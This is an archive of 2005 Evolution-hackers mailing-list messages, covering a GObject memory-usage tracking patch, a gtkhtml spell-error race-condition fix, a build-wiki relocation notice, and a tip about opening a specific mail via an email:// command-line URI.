******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] [Fwd: gobject patch to track memory use] Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-TvoLGBQoiX0v0izqaGxa Content-Type: text/plain Content-Transfer-Encoding: 7bit It would be cool if someone want to play around with this in evo/e-d-s. -JP -- JP Rosevear Novell, Inc. --=-TvoLGBQoiX0v0izqaGxa Content-Disposition: inline Content-Description: Forwarded message - gobject patch to track memory use Content-Type: message/rfc822 Return-path: Received: from HECTOR.novell.com [130.57.1.28] by sinclair.provo.novell.com; Thu, 24 Feb 2005 10:29:34 -0700 Received: from menubar.gnome.org (unverified [12.107.209.248]) by HECTOR.novell.com (Vircom SMTPRS 4.0.346.0) with ESMTP id ; Thu, 24 Feb 2005 10:30:05 -0700 Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id AABA13B1BD9; Thu, 24 Feb 2005 12:26:04 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22366-08; Thu, 24 Feb 2005 12:26:04 -0500 (EST) Received: from menubar.gnome.org (localhost.localdomain [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 8714E3B1BA8; Thu, 24 Feb 2005 12:24:38 -0500 (EST) X-Original-To: desktop-devel-list@gnome.org Delivered-To: desktop-devel-list@gnome.org Received: from localhost (unknown [127.0.0.1]) by menubar.gnome.org (Postfix) with ESMTP id 0ACE23B1B8A for ; Thu, 24 Feb 2005 12:24:10 -0500 (EST) Received: from menubar.gnome.org ([12.107.209.248]) by localhost (menubar.gnome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22236-02 for ; Thu, 24 Feb 2005 12:24:06 -0500 (EST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by menubar.gnome.org (Postfix) with ESMTP id C17003B1B92 for ; Thu, 24 Feb 2005 12:23:47 -0500 (EST) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11/8.12.11) with ESMTP id j1OHNlAY001395 for ; Thu, 24 Feb 2005 12:23:47 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id j1OHNgK27860 for ; Thu, 24 Feb 2005 12:23:42 -0500 Received: from greebo (sebastian-int.corp.redhat.com [172.16.52.221]) by devserv.devel.redhat.com (8.12.11/8.12.11) with ESMTP id j1OHNfkh005954 for ; Thu, 24 Feb 2005 12:23:41 -0500 From: Alexander Larsson To: "desktop-devel-list@gnome.org" Content-Type: multipart/mixed; boundary="=-YY0425KxenlChQOSlMqp" Date: Thu, 24 Feb 2005 18:23:39 +0100 Message-Id: <1109265819.5633.172.camel@greebo> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new at gnome.org Subject: gobject patch to track memory use X-BeenThere: desktop-devel-list@gnome.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: GNOME Desktop Development List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: desktop-devel-list-bounces@gnome.org Errors-To: desktop-devel-list-bounces@gnome.org X-Virus-Scanned: by amavisd-new at gnome.org --=-YY0425KxenlChQOSlMqp Content-Type: text/plain Content-Transfer-Encoding: 7bit I spent some day today hacking up a patch to gobject that lets you track what types of GObjects are using memory. It keeps a list of all live objects, and when you send the process a SIGUSR2 it prints a memory profile. For the size it counts the basic size of the object plus all private data registered with the object. Furthermore it adds some API that lets you register a function to calculate the size an object uses. This is useful for objects that own memory allocations that are not GObjects. I also made a gtk+ patch using this to track the real size of GdkPixbuf object. Even without specific functions for all types this is quite useful, as you can see the object counts. I've already detected some strange things in nautilus with this. The top of the memory profile there looks like: GtkImage: 231 allocated at 104 base size bytes, 23 kb total size GstPadTemplate: 334 allocated at 76 base size bytes, 24 kb total size GtkSeparatorMenuItem: 284 allocated at 96 base size bytes, 26 kb total size NautilusIconCanvasItem: 502 allocated at 64 base size bytes, 31 kb total size GtkAccelLabel: 306 allocated at 168 base size bytes, 50 kb total size NautilusVFSFile: 1005 allocated at 128 base size bytes, 296 kb total size GdkPixbuf: 340 allocated at 52 base size bytes, 6409 kb total size (only NautilusVFSFile and GdkPixbuf have specific memuse functions here) Maybe people want to play around a bit with this. It seems there is some interest in memory profiling at the moment. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Alexander Larsson Red Hat, Inc alexl@redhat.com alla@lysator.liu.se He's an immortal vegetarian farmboy in drag. She's a radical winged safe cracker prone to fits of savage, blood-crazed rage. They fight crime! --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=gobject-memuse.patch Content-Type: text/x-patch; name=gobject-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: gobject/gtype.c =================================================================== RCS file: /cvs/gnome/glib/gobject/gtype.c,v retrieving revision 1.78 diff -u -p -r1.78 gtype.c --- gobject/gtype.c 1 Nov 2004 18:47:12 -0000 1.78 +++ gobject/gtype.c 24 Feb 2005 17:11:40 -0000 @@ -158,6 +158,7 @@ static void TypeNode *node); static gboolean type_node_is_a_L (TypeNode *node, TypeNode *iface_node); +static void install_mem_use_signal_handler (void); /* --- enumeration --- */ @@ -191,6 +192,7 @@ struct _TypeNode TypeData * volatile data; GQuark qname; GData *global_gdata; + GList *instances; union { IFaceEntry *iface_entries; /* for !iface types */ GType *prerequisistes; @@ -279,6 +281,7 @@ struct _InstanceData guint16 n_preallocs; GInstanceInitFunc instance_init; GMemChunk *mem_chunk; + GMemUseFunc mem_use; }; union _TypeData { @@ -1575,6 +1578,11 @@ g_type_create_instance (GType type) else instance = g_malloc0 (total_instance_size); /* fine without read lock */ + + G_WRITE_LOCK (&type_rw_lock); + node->instances = g_list_prepend (node->instances, instance); + G_WRITE_UNLOCK (&type_rw_lock); + if (node->data->instance.private_size) instance_real_class_set (instance, class); for (i = node->n_supers; i > 0; i--) @@ -1625,7 +1633,12 @@ g_type_free_instance (GTypeInstance *ins instance->g_class = NULL; #ifdef G_ENABLE_DEBUG memset (instance, 0xaa, type_total_instance_size_I (node)); /* debugging hack */ -#endif +#endif + + G_WRITE_LOCK (&type_rw_lock); + node->instances = g_list_remove (node->instances, instance); + G_WRITE_UNLOCK (&type_rw_lock); + if (node->data->instance.n_preallocs) { G_WRITE_LOCK (&type_rw_lock); @@ -2242,6 +2255,24 @@ g_type_register_fundamental (GType return NODE_TYPE (node); } +void +g_type_register_memuse_function (GType type, + GMemUseFunc memuse) +{ + TypeNode *node; + + node = lookup_type_node_I (type); + + if (node && node->is_instantiatable && node->data != NULL) + { + G_WRITE_LOCK (&type_rw_lock); + + node->data->instance.mem_use = memuse; + + G_WRITE_UNLOCK (&type_rw_lock); + } +} + GType g_type_register_static (GType parent_type, const gchar *type_name, @@ -3477,6 +3508,8 @@ g_type_init_with_debug_flags (GTypeDebug /* Signal system */ g_signal_init (); + + install_mem_use_signal_handler (); G_UNLOCK (type_init_lock); } @@ -3579,4 +3612,134 @@ g_type_instance_get_private (GTypeInstan } return G_STRUCT_MEMBER_P (instance, offset); +} + + +typedef struct { + const char *name; + gsize instance_size; + int n_allocated; + gsize total_size; +} NodeMemUse; + +static gint +compare_memuse (gconstpointer a, + gconstpointer b) +{ + const NodeMemUse *m1 = a; + const NodeMemUse *m2 = b; + gsize s1, s2; + + s1 = m1->total_size; + s2 = m2->total_size; + if (s1 < s2) + return -1; + if (s1 == s2) + return 0; + return 1; +} + +static void +report_mem_use_for_node (gpointer key, + gpointer value, + gpointer user_data) +{ + TypeNode *node; + gsize total_instance_size; + gsize total_size; + int n_allocated; + GType type; + GList **list, *l; + NodeMemUse *memuse; + int i; + + list = user_data; + + type = (GType)value; + node = lookup_type_node_I (type); + if (node == NULL || + !node->is_instantiatable || + node->data == NULL) + return; + + total_instance_size = type_total_instance_size_I (node); + if (node->data->instance.private_size) + total_instance_size = ALIGN_STRUCT (total_instance_size); + + memuse = g_new (NodeMemUse, 1); + memuse->name = NODE_NAME(node); + memuse->instance_size = total_instance_size; + + total_size = 0; + n_allocated = 0; + for (l = node->instances; l != NULL; l = l->next) + { + GTypeInstance *instance = l->data; + + for (i = 0; i < node->n_supers; i++) { + GType instance_type; + TypeNode *instance_node; + + instance_type = node->supers[i]; + instance_node = lookup_type_node_I (instance_type); + + if (instance_node != NULL && + instance_node->is_instantiatable && + instance_node->data != NULL && + instance_node->data->instance.mem_use != NULL) + total_size += instance_node->data->instance.mem_use (instance); + } + + n_allocated ++; + } + total_size += n_allocated * total_instance_size; + + memuse->n_allocated = n_allocated; + memuse->total_size = total_size; + + *list = g_list_append (*list, memuse); +} + +static void +report_mem_use (int i) +{ + GList *list, *l; + NodeMemUse *memuse; + + G_READ_LOCK (&type_rw_lock); + list = NULL; + g_hash_table_foreach (static_type_nodes_ht, report_mem_use_for_node, &list); + + list = g_list_sort (list, compare_memuse); + + for (l = list; l != NULL; l = l->next) + { + memuse = l->data; + + g_print ("%s: %d allocated at %lu base size bytes, %lu kb total size\n", + memuse->name, + memuse->n_allocated, + (gulong) memuse->instance_size, + (gulong) (memuse->total_size / 1024)); + + g_free (memuse); + } + g_list_free (list); + + G_READ_UNLOCK (&type_rw_lock); + +} + +#include + +static void +install_mem_use_signal_handler (void) +{ + struct sigaction action; + + action.sa_handler = report_mem_use; + sigemptyset (&action.sa_mask); + action.sa_flags = 0; + + sigaction(SIGUSR2, &action, NULL); } Index: gobject/gtype.h =================================================================== RCS file: /cvs/gnome/glib/gobject/gtype.h,v retrieving revision 1.60 diff -u -p -r1.60 gtype.h --- gobject/gtype.h 24 Oct 2004 01:22:29 -0000 1.60 +++ gobject/gtype.h 24 Feb 2005 17:11:40 -0000 @@ -221,6 +221,7 @@ typedef gboolean (*GTypeClassCacheFunc) GTypeClass *g_class); typedef void (*GTypeInterfaceCheckFunc) (gpointer check_data, gpointer g_iface); +typedef gsize (*GMemUseFunc) (GTypeInstance *instance); typedef enum /*< skip >*/ { G_TYPE_FLAG_CLASSED = (1 << 0), @@ -310,6 +311,8 @@ void g_type_class_add_private gsize private_size); gpointer g_type_instance_get_private (GTypeInstance *instance, GType private_type); +void g_type_register_memuse_function (GType type, + GMemUseFunc memuse); /* --- GType boilerplate --- */ --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=gtk-memuse.patch Content-Type: text/x-patch; name=gtk-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: gdk-pixbuf/gdk-pixbuf.c =================================================================== RCS file: /cvs/gnome/gtk+/gdk-pixbuf/gdk-pixbuf.c,v retrieving revision 1.64 diff -u -p -r1.64 gdk-pixbuf.c --- gdk-pixbuf/gdk-pixbuf.c 5 Nov 2004 01:43:31 -0000 1.64 +++ gdk-pixbuf/gdk-pixbuf.c 24 Feb 2005 17:11:53 -0000 @@ -59,6 +59,12 @@ enum static gpointer parent_class; +static gsize +pixbuf_memuse (GdkPixbuf *pixbuf) +{ + return pixbuf->rowstride * pixbuf->height; +} + GType gdk_pixbuf_get_type (void) { @@ -80,6 +86,8 @@ gdk_pixbuf_get_type (void) object_type = g_type_register_static (G_TYPE_OBJECT, "GdkPixbuf", &object_info, 0); + g_type_register_memuse_function (object_type, + (GMemUseFunc) pixbuf_memuse); } return object_type; --=-YY0425KxenlChQOSlMqp Content-Disposition: attachment; filename=nautilus-memuse.patch Content-Type: text/x-patch; name=nautilus-memuse.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Index: libnautilus-private/nautilus-file.c =================================================================== RCS file: /cvs/gnome/nautilus/libnautilus-private/nautilus-file.c,v retrieving revision 1.362 diff -u -p -r1.362 nautilus-file.c --- libnautilus-private/nautilus-file.c 22 Feb 2005 10:41:46 -0000 1.362 +++ libnautilus-private/nautilus-file.c 24 Feb 2005 17:20:23 -0000 @@ -132,6 +132,39 @@ static gboolean update_info_and_name static char * nautilus_file_get_display_name_nocopy (NautilusFile *file); static char * nautilus_file_get_display_name_collation_key (NautilusFile *file); +static gsize +file_memuse (NautilusFile *file) +{ + gsize size; + NautilusFileDetails *details = file->details; + GList *l; + + if (details == NULL) + return 0; + + size = 0; + + size += eel_strlen (details->relative_uri) + 1; + size += eel_strlen (details->cached_display_name) + 1; + size += eel_strlen (details->display_name_collation_key) + 1; + if (details->info) + size += sizeof(GnomeVFSFileInfo); + + for (l = details->mime_list; l != NULL; l = l->next) { + size += sizeof(GList); + size += eel_strlen (l->data) + 1; + } + + size += eel_strlen (details->top_left_text); + size += eel_strlen (details->display_name); + size += eel_strlen (details->custom_icon); + size += eel_strlen (details->activation_uri); + size += eel_strlen (details->guessed_mime_type); + + return size; +} + + GType nautilus_file_get_type (void) { @@ -162,6 +195,8 @@ nautilus_file_get_type (void) g_type_add_interface_static (type, NAUTILUS_TYPE_FILE_INFO, &file_info_iface_info); + g_type_register_memuse_function (type, + (GMemUseFunc) file_memuse); } return type; --=-YY0425KxenlChQOSlMqp Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ desktop-devel-list mailing list desktop-devel-list@gnome.org http://mail.gnome.org/mailman/listinfo/desktop-devel-list --=-YY0425KxenlChQOSlMqp-- --=-TvoLGBQoiX0v0izqaGxa-- From spamfrommailing@freax.org Thu Feb 24 14:04:29 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8D49A1242FC; Thu, 24 Feb 2005 14:04:29 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 42DE9124053 for ; Thu, 24 Feb 2005 14:04:17 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id B716B1394A83; Thu, 24 Feb 2005 20:04:11 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 11924-01; Thu, 24 Feb 2005 20:04:03 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id A5BB213944C5; Thu, 24 Feb 2005 20:04:02 +0100 (CET) Subject: Re: [Evolution-hackers] Information about hacking on Evolution From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Cc: gnome-hackers@gnome.org In-Reply-To: <1108674763.9004.1.camel@localhost.localdomain> References: <1108674763.9004.1.camel@localhost.localdomain> Content-Type: text/plain Date: Thu, 24 Feb 2005 20:04:03 +0100 Message-Id: <1109271843.10747.7.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > I've updated this wiki a bit. Stuff like debugging a running Evolution > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS More updates in the scripts and the document has, on request of Rodrigo Moya and more or less also Jeff Waugh, been copied to http://live.gnome.org/BuildEvolutionFromSource I hope it's a more convenient location. And I hope Jeff Waugh is going to do something about that ugly stylesheet thats being used on live.gnome.org :-)! -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From spamfrommailing@freax.org Thu Feb 24 16:18:53 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0484C1246C2; Thu, 24 Feb 2005 16:18:53 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 51B12124647; Thu, 24 Feb 2005 16:18:41 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 1C8361394A87; Thu, 24 Feb 2005 22:18:37 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 16250-01; Thu, 24 Feb 2005 22:18:27 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id EB12413944C5; Thu, 24 Feb 2005 22:18:25 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Cc: Evolution Patches Content-Type: multipart/mixed; boundary="=-4ESX5lEUfPz1bOAIAWI/" Date: Thu, 24 Feb 2005 22:18:24 +0100 Message-Id: <1109279904.31955.26.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=0.7 required=5.0 tests=PATCH_UNIFIED_DIFF,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Thread locking in gtkhtml!? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-4ESX5lEUfPz1bOAIAWI/ Content-Type: multipart/alternative; boundary="=-YNo3KMT3lrdb8OuGOrAS" --=-YNo3KMT3lrdb8OuGOrAS Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi there, While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml. I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects. The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)? However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list. Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988 So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine. So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list. This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks. Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list. A possible reason why the previous method had problems might be because of this: static GList* remove_one (GList *list, GList *link) { (a) spell_error_destroy ((SpellError *) link->data); -- race conditions can happen here -- (b) return g_list_remove_link (list, link); } As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU. This might also fix it. But then it's still using a hackish way for removing an item from the GList. static GList* remove_one (GList *list, GList *link) { GList *retval = g_list_remove_link (list, link); spell_error_destroy ((SpellError *) link->data); return retval; } -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-YNo3KMT3lrdb8OuGOrAS Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Hi there,

While trying to figure out why at some race condition the Evolution composer was crashing (well, actually it was hanging in a loop), I decided to go fishing in the code of gtkhtml.

I've found that there's a doubly-linked list being passed to some functions (but you can assume it's a global variable since it appears to be always the same pointer being passed): spell_errors. It contains SpellError objects.

The original author of remove_spell_errors used a clever hack for removing what I assume where "old" spelling errors. So spellings errors that now have been corrected (Am I right)?

However. That clever hack might have worked if there wasn't any threading involved. The hack removed an element from the list while already keeping a pointer to the next item in the list. So it's removing the current list-element, and by prefetching keeping a useful pointer to the next element. The next loop would work on the "next" pointer. While it has removed the current item from the global spell_errors list.

Sounds like always correct. However. I've experienced moments when Evolution got into an endless loop at the remove_spell_errors routine: http://bugzilla.ximian.com/show_bug.cgi?id=72988

So I'm assuming that there's other functions who are manipulating the spell_errors list. And whats worse is that they are probably doing so in a different thread. Which in turn leads to race conditions in one of both parallel running processes. I don't know which thread or whatever. It's just a thought of mine.

So I decided to redo this remove_spell_errors function in a less clever but also less hackish way. Easily by keeping a new doubly-linked list which I called toremove and creating a copy of the global list spell_errors and utilising that copy during the first loop, rather than working on a pointer to the global list.

This E-mail and it's old spelling errors -- hehe -- are the first test of this function. So far it hasn't crashed on me once. Which is, for me at least, a whole new Evolution experience since a few weeks.

Notice: If it's known which threads are working on this spell_errors list, some mutex-locking would be necessary here. You can't just remove an item from a list while another thread is continuing relying on it's contents. and GList hacks aren't to way to circumvent it. Why not just lock it and unlock when it's done? The way it's after this patch, shouldn't have any problems even without locking mechanisms. Since it's destroying the SpellError after removing it from that global spell_errors list.

A possible reason why the previous method had problems might be because of this:

static GList*
remove_one (GList *list, GList *link)
{
(a) spell_error_destroy ((SpellError *) link->data);
        -- race conditions can happen here --
(b) return g_list_remove_link (list, link);
}

As you can see it's first destroying and they removing the link from the GList. It's possible my kernel is going to interrupt my process between (a) and (b) and that the other process is going to try playing with the pointer link->data during the time it was given to play on my CPU.


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}



-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-YNo3KMT3lrdb8OuGOrAS-- --=-4ESX5lEUfPz1bOAIAWI/ Content-Disposition: attachment; filename=htmltext.c.pvanhoof.diff Content-Type: text/x-patch; name=htmltext.c.pvanhoof.diff; charset=UTF-8 Content-Transfer-Encoding: 7bit ? test-suite Index: htmltext.c =================================================================== RCS file: /cvs/gnome/gtkhtml/src/htmltext.c,v retrieving revision 1.274 diff -u -r1.274 htmltext.c --- htmltext.c 3 Feb 2005 17:18:43 -0000 1.274 +++ htmltext.c 24 Feb 2005 20:49:24 -0000 @@ -2097,21 +2097,15 @@ } static GList * -remove_one (GList *list, GList *link) -{ - spell_error_destroy ((SpellError *) link->data); - return g_list_remove_link (list, link); -} - -static GList * remove_spell_errors (GList *spell_errors, guint offset, guint len) { SpellError *se; - GList *cur, *cnext; + GList *cur=NULL, *toremove=NULL; + + cur = g_list_copy (spell_errors); - cur = spell_errors; while (cur) { - cnext = cur->next; + se = (SpellError *) cur->data; if (se->off < offset) { if (se->off + se->len > offset) { @@ -2120,20 +2114,34 @@ else se->len -= len; if (se->len < 2) - spell_errors = remove_one (spell_errors, cur); + toremove = g_list_append (toremove, se); } } else if (se->off < offset + len) { - if (se->off + se->len <= offset + len) - spell_errors = remove_one (spell_errors, cur); - else { + if (se->off + se->len <= offset + len) { + toremove = g_list_append (toremove, se); + } else { se->len -= offset + len - se->off; se->off = offset + len; if (se->len < 2) - spell_errors = remove_one (spell_errors, cur); + toremove = g_list_append (toremove, se); } } - cur = cnext; + + cur = g_list_next (cur); } + + g_list_free (cur); + + while (toremove) + { + se = (SpellError *) toremove->data; + spell_errors = g_list_remove_all (spell_errors, se); + spell_error_destroy ((SpellError *) se); + toremove = g_list_next (toremove); + } + + g_list_free (toremove); + return spell_errors; } --=-4ESX5lEUfPz1bOAIAWI/-- From notzed@ximian.com Thu Feb 24 21:59:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9B7FA124F8D; Thu, 24 Feb 2005 21:59:36 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id AE9B112482C for ; Thu, 24 Feb 2005 21:59:24 -0500 (EST) Received: (qmail 940 invoked from network); 25 Feb 2005 02:59:22 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 25 Feb 2005 02:59:22 -0000 Subject: Re: [Evolution-hackers] Open mail from commandline From: Not Zed To: linux@software.dk Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1109254317.10582.3.camel@localhost> References: <1109254317.10582.3.camel@localhost> Content-Type: multipart/alternative; boundary="=-yIYabdLsl/qO8ny4fCh9" Date: Fri, 25 Feb 2005 10:57:36 +0800 Message-Id: <1109300256.4852.38.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-20.5 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-yIYabdLsl/qO8ny4fCh9 Content-Type: text/plain Content-Transfer-Encoding: 7bit Yes, but it is a hack, and therefore not a long-term supported interface. For the local inbox, you do something like evolution "email://local@local/Inbox;uid=1" There's no way to find the uid though. For oher mail accounts you use the account id from the accounts list. There's no supported way to find this eiher. e.g. evolution "email://abcdefxwy@host.foo/Inbox;uid=12" On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: > Hi, > > Is it possible to open up a specific mail in the Inbox from the command > line ??? > > Cheers, Soren > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-yIYabdLsl/qO8ny4fCh9 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Yes, but it is a hack, and therefore not a long-term supported interface.

For the local inbox, you do something like

evolution "email://local@local/Inbox;uid=1"

There's no way to find the uid though.

For oher mail accounts you use the account id from the accounts list.  There's no supported way to find this eiher.

e.g.
evolution "email://abcdefxwy@host.foo/Inbox;uid=12"


On Thu, 2005-02-24 at 15:11 +0100, Soren Mathiasen wrote: 
Hi,

Is it possible to open up a specific mail in the Inbox from the command
line ???

Cheers, Soren


_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
